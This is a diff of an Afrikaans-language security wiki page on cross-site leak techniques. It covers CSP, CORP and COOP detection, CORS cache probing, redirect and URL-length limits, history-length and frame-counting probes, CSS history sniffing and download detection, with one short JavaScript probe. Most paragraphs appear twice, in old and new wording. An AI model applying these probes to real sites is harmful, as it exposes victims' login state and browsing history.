'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om 'n **Inhoudsekuriteitsbeleid (CSP)** voor te stel deur 'n eienskap op 'n iframe-element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-header goedkeur**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
### **CORP**
@ -533,7 +533,7 @@ As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpb
- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegestane oorsprong af aangevra word.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Die CORP header is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die header kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit aangevra word**.
Die CORP-header is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die header kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit aangevra word**.
### CORB
@ -553,7 +553,7 @@ Kyk na die skakel vir meer inligting oor die aanval.
- **Opsomming**: As die Oorsprong header in die header `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die cache is.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
In die geval dat die **Oorsprong header** in die header `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **fetch** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** ontlok word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **ontlok word**, is dit omdat dit **van die cache** geaccess is (die fout verskyn omdat die cache 'n respons met 'n CORS header wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
In die geval dat die **Oorsprong header** in die header `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **fetch** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** geaktiveer word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **geaktiveer word**, is dit omdat dit **van die cache** geaccess is (die fout verskyn omdat die cache 'n respons met 'n CORS-header wat die oorspronklike domein toelaat, en nie die aanvaller se domein nie, stoor).\
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (`Access-Control-Allow-Origin: *`), dit nie sal werk nie.
## Leesbare Eienskappe Tegniek
@ -566,7 +566,7 @@ Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebru
- **Opsomming:** GC en SA laat toe om die tipe respons (opaque-redirect) te kontroleer nadat die omleiding voltooi is.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Deur 'n versoek met die Fetch API in te dien met `redirect: "manual"` en ander parameters, is dit moontlik om die `response.type` eienskap te lees en as dit gelyk is aan `opaqueredirect`, dan was die respons 'n omleiding.
Deur 'n versoek te dien met die Fetch API met `redirect: "manual"` en ander parameters, is dit moontlik om die `response.type` eienskap te lees en as dit gelyk is aan `opaqueredirect`, dan was die respons 'n omleiding.
### COOP
@ -578,22 +578,22 @@ Deur 'n versoek met die Fetch API in te dien met `redirect: "manual"` en ander p
'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) header in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie header kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbeskikbaar** wanneer COOP aktief is, en **beskikbaar** in sy afwesigheid.
### URL Maks Lengte - Bediener Kant
### URL Maks Lengte - Bedienerkant
- **Insluitingsmetodes**: Fetch API, HTML Elemente
- **Waarneembare Verskil**: Statuskode / Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot mag wees dat die bediener met 'n fout terug speel en 'n waarskuwing gegenereer word.
- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot mag wees dat die bediener met 'n fout terug speel en 'n waarskuwing genereer.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** toevoeg, sal dit 'n **fout ontlok wat via Fout Gebeure opspoorbaar is**.
As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** daardie **data** gebruik en **iets ekstra** byvoeg, sal dit 'n **fout aktiveer wat via Foutgebeurtenisse opspoorbaar is**.
As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **voldoende koekies te stel** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** ontlok word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n dieselfde webwerf ontlok, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
'n Voorbeeld van die **koekie bom + XS-Search** kan gevind word in die bedoelde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **genoeg koekies te stel** ([**koekie bom**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n dieselfde webwerf aktiveer, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
'n Voorbeeld van die **koekie bom + XS-Search** kan gevind word in die Beoogde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.
### URL Maks Lengte - Kliënt Kant
### URL Maks Lengte - Klientkant
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Statuskode / Inhoud
@ -603,13 +603,13 @@ As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierd
Volgens [Chromium dokumentasie](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), is Chrome se maksimum URL-lengte 2MB.
> In die algemeen het die _webplatform_ nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** vir praktiese redes en om te verhoed dat dit ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
> In die algemeen het die _webplatform_ nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
Daarom, as die **omleiding URL** in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n **URL groter as 2MB** om die **lengte limiet** te tref. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
Daarom, as die **omleiding URL** in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n **URL groter as 2MB** om die **lengte limiet** te bereik. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** egter **getref** is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** bereik is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting is.**
Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit in die **omleiding** gebruik sal word.
Alle ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit **in die omleiding gebruik sal word**.
{{#ref}}
url-max-length-client-side.md
@ -623,7 +623,7 @@ url-max-length-client-side.md
- **Opsomming:** Gebruik die blaaiers se omleiding limiet om die voorkoms van URL omleidings te bepaal.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetste bladsy te stuur. As 'n **fout** ontlok word, dan was die bladsy besig om die **slagoffer** te **herlei**.
As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetsde bladsy te stuur. As 'n **fout** geaktiveer word, dan was die bladsy besig om die **slagoffer** te **herlei**.
### Geskiedenis Lengte
@ -634,7 +634,7 @@ As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te manipuleer, wat **die bladsye wat deur 'n gebruiker besoek is, stoor**. 'n Aanvaller kan die lengte eienskap as 'n insluitingsmetode gebruik: om JavaScript en HTML navigasie te detecteer.\
**Kontroleer `history.length`**, maak 'n gebruiker **na** 'n bladsy **navigeer**, **verander** dit **terug** na die selfde oorsprong en **kontroleer** die nuwe waarde van **`history.length`**.
**Kontroleer `history.length`**, maak 'n gebruiker **na 'n bladsy** **navigeer**, **verander** dit **terug** na die selfde oorsprong en **kontroleer** die nuwe waarde van **`history.length`**.
### Geskiedenis Lengte met dieselfde URL
@ -643,7 +643,7 @@ Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te
- **Opsomming:** Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
- **Kode Voorbeeld**: Hieronder
'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en dit **dadelik** **na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te **verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **dadelik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en **onmiddellik** **dit na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te **verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -661,200 +661,200 @@ win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
```
### Raam Tel
### Frame Counting
- **Insluitingsmetodes**: Raam, Pop-ups
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Opsomming:** Evalueer die hoeveelheid iframe-elemente deur die `window.length` eienskap te ondersoek.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** Evalueer die hoeveelheid iframe-elemente deur die `window.length` eienskap te inspekteer.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Tel die **aantal rame in 'n web** wat via `iframe` of `window.open` geopen is, kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
Boonop, as die bladsy altyd dieselfde aantal rame het, kan die **deurlopende** kontrole van die aantal rame help om 'n **patroon** te identifiseer wat inligting kan lek.
'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **raam tel** gedetecteer kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **rame tel** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
### HTMLElements
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Opsomming:** Lees die gelekte waarde om tussen 2 moontlike toestande te onderskei
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** Lees die gelekte waarde om tussen 2 moontlike toestande te onderskei
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
### Inligting Blootgestel deur HTML Elemente
### Information Exposed by HTML Elements
- **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat via sy API verkry kan word. [Lees meer oor HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Dit blootstel `videoHeight` en `videoWidth`. In sommige blaaiers is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. [Lees meer oor HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend `totalVideoFrames`, wat die hoeveelheid video-data wat verwerk is, kan aandui. [Lees meer oor getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat die mislukking om die beeld korrek te laai aandui. [Lees meer oor HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat via sy API verkry kan word. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Dit blootstel `videoHeight` en `videoWidth`. In sommige blaaiers is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend `totalVideoFrames`, wat die hoeveelheid video-data wat verwerk is, kan aandui. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat dui op die mislukking om die beeld korrek te laai. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Eiendom
### CSS Property
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Opsomming:** Identifiseer variasies in webwerf-styling wat verband hou met die gebruiker se toestand of status.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** Identifiseer variasies in webwerf-styling wat verband hou met die gebruiker se toestand of status.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Webtoepassings kan die **webwerf-styling verander afhangende van die status van die gebruiker**. Cross-origin CSS-lêers kan op die aanvaller se bladsy ingebed word met die **HTML skakel element**, en die **reëls** sal op die aanvaller se bladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille** opspoor afhangende van die gebruiker se toestand.\
Webtoepassings kan die **webwerf-styling verander afhangende van die status van die gebruiker**. Cross-origin CSS-lêers kan op die aanvallersbladsy ingebed word met die **HTML skakel-element**, en die **reëls** sal op die aanvallersbladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille** opspoor afhangende van die gebruiker se toestand.\
As 'n lek tegniek kan die aanvaller die `window.getComputedStyle` metode gebruik om **CSS** eienskappe van 'n spesifieke HTML-element te **lees**. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die betrokke element en eienskapnaam bekend is.
### CSS Geskiedenis
### CSS History
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Opsomming:** Ontdek of die `:visited` styl toegepas is op 'n URL wat aandui dat dit reeds besoek is
- **Kode Voorbeeld**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** Detecteer of die `:visited` styl toegepas is op 'n URL wat aandui dat dit reeds besoek is
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Volgens [**hierdie**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) werk dit nie in headless Chrome nie.
> Volgens [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), werk dit nie in headless Chrome nie.
Die CSS `:visited` selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()` metode gebruik word om hierdie stylverskille te identifiseer. Modern blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in om altyd die berekende styl terug te gee asof die skakel besoek is en om die style wat met die `:visited` selektor toegepas kan word, te beperk.
Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die `mix-blend-mode` eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruikersinteraksie.
Verder kan opsporing bereik word sonder gebruikersinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
Verder kan opsporing bereik word sonder gebruikersinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels moontlik anders weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:
- `:visited`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Lek
### ContentDocument X-Frame Leak
- **Insluitingsmetodes**: Raam
- **Waarneembare Verskil**: Kopstukke
- **Meer inligting**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Opsomming:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingebed te word weens X-Frame-Options beperkings.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Headers
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingebed te word weens X-Frame-Options beperkings.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
In Chrome, as 'n bladsy met die `X-Frame-Options` kopstuk op "deny" of "same-origin" as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kopstuk inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskopstukke is van kardinale belang om sulke lekke te voorkom.
In Chrome, as 'n bladsy met die `X-Frame-Options` kop wat op "deny" of "same-origin" gestel is, as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer uniek 'n leë dokumentobjek (in plaas van `null`) terug vir die `contentDocument` eienskap van hierdie objek, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kop inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is van kardinale belang om sulke lekke te voorkom.
### Aflaai Opsporing
### Download Detection
- **Insluitingsmetodes**: Raam, Pop-ups
- **Waarneembare Verskil**: Kopstukke
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Die `Content-Disposition` kopstuk, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:
Die `Content-Disposition` kop, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:
1. **Aflaai Balk Monitering**:
- Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai balk onderaan die blaaiervenster.
- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai balk aflei, wat daarop dui dat 'n aflaai inisieer is.
1. **Aflaai Bar Monitering**:
